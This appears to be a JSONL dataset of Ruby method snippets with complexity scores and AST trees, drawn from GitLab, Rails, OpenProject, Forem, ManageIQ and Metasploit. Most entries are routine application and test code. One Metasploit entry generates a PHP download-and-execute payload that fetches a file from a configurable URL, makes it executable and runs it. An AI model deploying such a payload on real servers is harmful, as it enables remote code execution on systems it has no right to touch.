end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"after_save_commit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_work_item\"]},\"get_widget\",{\"type\":\"sym\",\"children\":[\"notifications\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"notify_participants\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"move\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"subscriptions\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subscriptions_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Subscription\"]},\"insert_all\",{\"type\":\"send\",\"children\":[null,\"new_work_item_subscriptions\",{\"type\":\"lvar\",\"children\":[\"subscriptions_batch\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"from_service_desk?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_item\"]},\"sent_notifications\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sent_notifications_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SentNotification\"]},\"upsert_all\",{\"type\":\"send\",\"children\":[null,\"new_work_item_sent_notifications\",{\"type\":\"lvar\",\"children\":[\"sent_notifications_batch\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"sym\",\"children\":[\"reply_key\"]}]}]}]}]}]}]}","id":"a3c60b8a-99fc-46e3-a744-b49917f0a533"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template/operations/power.rb","start_line":14,"raw_source":"def raw_stop\n    raise NotImplementedError, _(\"must be implemented in a subclass\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"must be implemented in a subclass\"]}]}]}]}","id":"a4763964-4675-475e-b7b0-dbea841e9bd4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":45,"raw_source":"def test_fetch_type_error\n    assert_raises(KeyError) do\n      request.cookie_jar.fetch(:omglolwut)\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_type_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"cookie_jar\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"omglolwut\"]}]}]}]}","id":"8abb07b7-91d8-4b5a-800d-9f46a8ca57aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/container_expiration_policy.rb","start_line":92,"raw_source":"def policy_params\n    attributes.slice(*POLICY_PARAMS)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"policy_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attributes\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"POLICY_PARAMS\"]}]}]}]}","id":"a9a5cf47-b792-47d5-a789-3f9e8fca85ee"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/references_index_test.rb","start_line":89,"raw_source":"def test_creates_index_for_existing_table_even_if_index_option_is_not_passed\n        connection.create_table table_name\n        connection.change_table table_name do |t|\n          t.references :foo\n        end\n\n        assert connection.index_exists?(table_name, :foo_id, name: :index_testings_on_foo_id)\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creates_index_for_existing_table_even_if_index_option_is_not_passed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_table\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"change_table\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"send\",\"children\":[null,\"table_name\"]},{\"type\":\"sym\",\"children\":[\"foo_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_testings_on_foo_id\"]}]}]}]}]}]}]}","id":"aa50ab27-23fb-4094-a342-02d1492f71be"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/pages_controller.rb","start_line":52,"raw_source":"def community_moderation\n    @page = Page.find_by(slug: \"community-moderation\")\n    render :show if @page\n    set_surrogate_key_header \"community_moderation_page\"\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"community_moderation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@page\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"str\",\"children\":[\"community-moderation\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"show\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"set_surrogate_key_header\",{\"type\":\"str\",\"children\":[\"community_moderation_page\"]}]}]}]}","id":"95824986-b381-4587-9def-f10155668160"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/environment.rb","start_line":380,"raw_source":"def stop_with_actions!\n    return unless available?\n\n    if stop_actions.any? || auto_stop_setting_always?\n      stop!\n    end\n\n    # The current_user stopping the environment may not be the same actor that we use\n    # to run the stop action jobs. We need to ensure that if any of the actors require\n    # composite identity we link it before hand.\n    # This design assumes that all `stop_actions` have the same user.\n    link_identity = ::Gitlab::Auth::Identity.currently_linked.blank?\n\n    stop_actions.filter_map do |stop_action|\n      run_stop_action!(stop_action, link_identity: link_identity)\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_with_actions!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stop_actions\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"auto_stop_setting_always?\"]}]},{\"type\":\"send\",\"children\":[null,\"stop!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"link_identity\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"Identity\"]},\"currently_linked\"]},\"blank?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stop_actions\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stop_action\"]}]},{\"type\":\"send\",\"children\":[null,\"run_stop_action!\",{\"type\":\"lvar\",\"children\":[\"stop_action\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_identity\"]},{\"type\":\"lvar\",\"children\":[\"link_identity\"]}]}]}]}]}]}]}","id":"75de54c7-7273-40d6-8c04-1377a0917b25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/process_commit_worker.rb","start_line":63,"raw_source":"def track_time_from_commit_message(project, commit, user)\n    # Pre-validate commit message to prevent abuse\n    validated_message = validate_and_limit_time_tracking_references(commit.safe_message, commit, project, user)\n    return unless validated_message\n\n    time_tracking_extractor = Gitlab::WorkItems::TimeTrackingExtractor.new(project, user)\n    time_spent_entries = time_tracking_extractor.extract_time_spent(validated_message)\n\n    time_spent_entries.each do |issue, time_spent|\n      next if project.forked_from?(issue.project)\n      next unless issue.supports_time_tracking?\n      # Only log time if the user has permission to do so\n      next unless Ability.allowed?(user, :create_timelog, issue)\n\n      # Add commit information to the time tracking description\n      description = \"#{commit.title} (Commit #{commit.short_id})\"\n\n      # Check if a time entry with this commit info already exists\n      # This prevents duplicate time tracking when commits appear multiple times in history\n      duplicate_finder = Timelogs::TimelogsFinder.new(issue, summary: description)\n      next if duplicate_finder.execute.exists?\n\n      result = ::Timelogs::CreateService.new(\n        issue,\n        time_spent,\n        commit.committed_date,\n        description,\n        user\n      ).execute\n\n      next if result.success?\n\n      log_hash_metadata_on_done(\n        issue_id: issue.id,\n        project_id: project.id,\n        commit_id: commit.id\n      )\n\n      Gitlab::AppLogger.error(\n        message: \"Failed to create timelog from commit\",\n        issue_id: issue.id,\n        project_id: project.id,\n        commit_id: commit.id,\n        error_message: result.message\n      )\n    end\n  end","complexity_score":48.6,"ast_json":"{\"type\":\"def\",\"children\":[\"track_time_from_commit_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"commit\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"validated_message\",{\"type\":\"send\",\"children\":[null,\"validate_and_limit_time_tracking_references\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"safe_message\"]},{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validated_message\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"time_tracking_extractor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"WorkItems\"]},\"TimeTrackingExtractor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_spent_entries\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_tracking_extractor\"]},\"extract_time_spent\",{\"type\":\"lvar\",\"children\":[\"validated_message\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_spent_entries\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]},{\"type\":\"arg\",\"children\":[\"time_spent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"forked_from?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"supports_time_tracking?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"create_timelog\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" (Commit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"short_id\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"duplicate_finder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timelogs\"]},\"TimelogsFinder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"summary\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duplicate_finder\"]},\"execute\"]},\"exists?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timelogs\"]},\"CreateService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"time_spent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"committed_date\"]},{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"log_hash_metadata_on_done\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Failed to create timelog from commit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"message\"]}]}]}]}]}]}]}]}","id":"e061b857-c77a-4ab6-bf3f-25c4a8360972"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/php/download_exec.rb","start_line":37,"raw_source":"def php_exec_file\n    exename = Rex::Text.rand_text_alpha(4..11)\n    dis = '$' + Rex::Text.rand_text_alpha(4..7)\n    shell = <<-END_OF_PHP_CODE\n    #{php_preamble(disabled_varname: dis)}\n    if (!function_exists('sys_get_temp_dir')) {\n      function sys_get_temp_dir() {\n        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }\n        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }\n        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }\n        $tempfile=tempnam(uniqid(rand(),TRUE),'');\n        if (file_exists($tempfile)) {\n          @unlink($tempfile);\n          return realpath(dirname($tempfile));\n        }\n        return null;\n      }\n    }\n    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . \"#{exename}.exe\";\n    $fd_in = fopen(\"#{datastore['URL']}\", \"rb\");\n    if ($fd_in === false) { die(); }\n    $fd_out = fopen($fname, \"wb\");\n    if ($fd_out === false) { die(); }\n    while (!feof($fd_in)) {\n      fwrite($fd_out, fread($fd_in, 8192));\n    }\n    fclose($fd_in);\n    fclose($fd_out);\n    chmod($fname, 0777);\n    $c = $fname;\n    #{php_system_block(cmd_varname: '$c', disabled_varnam: dis)}\n    @unlink($fname);\n    END_OF_PHP_CODE\n\n    # return Rex::Text.compress(shell)\n    return shell\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"php_exec_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exename\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[11]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dis\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"$\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[7]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"php_preamble\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled_varname\"]},{\"type\":\"lvar\",\"children\":[\"dis\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    if (!function_exists('sys_get_temp_dir')) {\\n\"]},{\"type\":\"str\",\"children\":[\"      function sys_get_temp_dir() {\\n\"]},{\"type\":\"str\",\"children\":[\"        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }\\n\"]},{\"type\":\"str\",\"children\":[\"        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }\\n\"]},{\"type\":\"str\",\"children\":[\"        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }\\n\"]},{\"type\":\"str\",\"children\":[\"        $tempfile=tempnam(uniqid(rand(),TRUE),'');\\n\"]},{\"type\":\"str\",\"children\":[\"        if (file_exists($tempfile)) {\\n\"]},{\"type\":\"str\",\"children\":[\"          @unlink($tempfile);\\n\"]},{\"type\":\"str\",\"children\":[\"          return realpath(dirname($tempfile));\\n\"]},{\"type\":\"str\",\"children\":[\"        }\\n\"]},{\"type\":\"str\",\"children\":[\"        return null;\\n\"]},{\"type\":\"str\",\"children\":[\"      }\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exename\"]}]},{\"type\":\"str\",\"children\":[\".exe\\\";\\n\"]},{\"type\":\"str\",\"children\":[\"    $fd_in = fopen(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URL\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\", \\\"rb\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"    if ($fd_in === false) { die(); }\\n\"]},{\"type\":\"str\",\"children\":[\"    $fd_out = fopen($fname, \\\"wb\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"    if ($fd_out === false) { die(); }\\n\"]},{\"type\":\"str\",\"children\":[\"    while (!feof($fd_in)) {\\n\"]},{\"type\":\"str\",\"children\":[\"      fwrite($fd_out, fread($fd_in, 8192));\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"    fclose($fd_in);\\n\"]},{\"type\":\"str\",\"children\":[\"    fclose($fd_out);\\n\"]},{\"type\":\"str\",\"children\":[\"    chmod($fname, 0777);\\n\"]},{\"type\":\"str\",\"children\":[\"    $c = $fname;\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"php_system_block\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cmd_varname\"]},{\"type\":\"str\",\"children\":[\"$c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled_varnam\"]},{\"type\":\"lvar\",\"children\":[\"dis\"]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    @unlink($fname);\\n\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]}]}]}]}","id":"e330e61a-eeee-4c38-9ba7-686a0137492f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/logging.rb","start_line":26,"raw_source":"def extend_payload!(payload, context)\n        payload_extenders.reduce(payload.dup) do |hash, handler|\n          res = handler.call(context)\n          hash.merge!(res) if res.is_a?(Hash)\n          hash\n        rescue StandardError => e\n          Rails.logger.error \"Failed to extend payload in #{handler.inspect}: #{e.message}\"\n          hash\n        end\n      end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"extend_payload!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload_extenders\"]},\"reduce\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"dup\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"handler\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"res\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to extend payload in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]},null]}]}]}","id":"2af2d0e8-4f44-4222-8a33-82163195e5f1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":20,"raw_source":"def new\n      render partial: Quiz::Question.new(\"Namespaced Partial\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Quiz\"]},\"Question\"]},\"new\",{\"type\":\"str\",\"children\":[\"Namespaced Partial\"]}]}]}]}]}]}","id":"8a2c0513-23c6-4ce1-a2cd-d8dd894f9ef2"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/jobs/active_storage/mirror_job.rb","start_line":12,"raw_source":"def perform(key, checksum:)\n    ActiveStorage::Blob.service.try(:mirror, key, checksum: checksum)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"kwarg\",\"children\":[\"checksum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"service\"]},\"try\",{\"type\":\"sym\",\"children\":[\"mirror\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"checksum\"]},{\"type\":\"lvar\",\"children\":[\"checksum\"]}]}]}]}]}","id":"fe80378c-5175-44d3-8c7a-2ac5c4d534e6"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/controllers/bim/menus_controller.rb","start_line":33,"raw_source":"def show\n      @submenu_menu_items = ::Bim::Menu.new(project: @project, params:).menu_items\n\n      render layout: nil\n    